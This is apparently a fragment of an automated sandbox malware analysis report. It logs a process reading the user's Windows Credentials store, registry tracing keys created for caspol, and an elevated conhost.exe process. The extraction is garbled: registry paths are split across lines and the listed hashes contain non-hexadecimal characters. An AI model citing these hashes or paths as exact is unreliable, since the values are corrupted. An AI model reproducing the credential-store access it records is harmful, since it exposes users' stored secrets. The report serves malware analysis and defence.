C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7ES unknown 11120 success or wait 1 6CE29B71 ReadFile
CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7ES unknown 11120 success or wait 1 6CE29B71 ReadFile
CC19A398EBF1B96859CE5D

Registry Activities

Key Created

Key Path Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Tracing\caspol_RASMANCS success or wait 1 6B24FDB8 unknown
Key Value Created

Key Path Name Type Data Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\SOFT  EnableFileTraci dword 0 success or wait i 6B24FDB8 unknown
WARE\WO ng

W6432Node\Microsoft\Tracing\ca
spol_RASMANCS
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Key Path Name Type Data Completion Count Source Address Symbol
HKEY_LOCAL_MACHINE\SOFT  EnableAutoFileT dword 0 success or wait 1 6B24FDB8 unknown
WARE\WO racing

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  EnableConsoleT dword 0 success or wait 1 6B24FDB8 unknown
WARE\WO racing

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  FileTracingMask dword -65536 success or wait 1 6B24FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  ConsoleTracing dword -65536 success or wait 1 6B24FDB8 unknown
WARE\WO Mask

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  MaxFileSize dword 1048576 success or wait 1 6B24FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

HKEY_LOCAL_MACHINE\SOFT  FileDirectory expand unicode  %windir%!\tracing success or wait 1 6B24FDB8 unknown
WARE\WO

W6432Node\Microsoft\Tracing\ca

spol_RASMANCS

Analysis Process: conhost.exe PID: 2624, Parent PID: 1668

General

Target ID: 5

Start time: 17:07:55

Start date: 12/05/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff73b910000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFAGS

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Offset Length Completion Count Source Address Symbol
Disassembly

@ No disassembly
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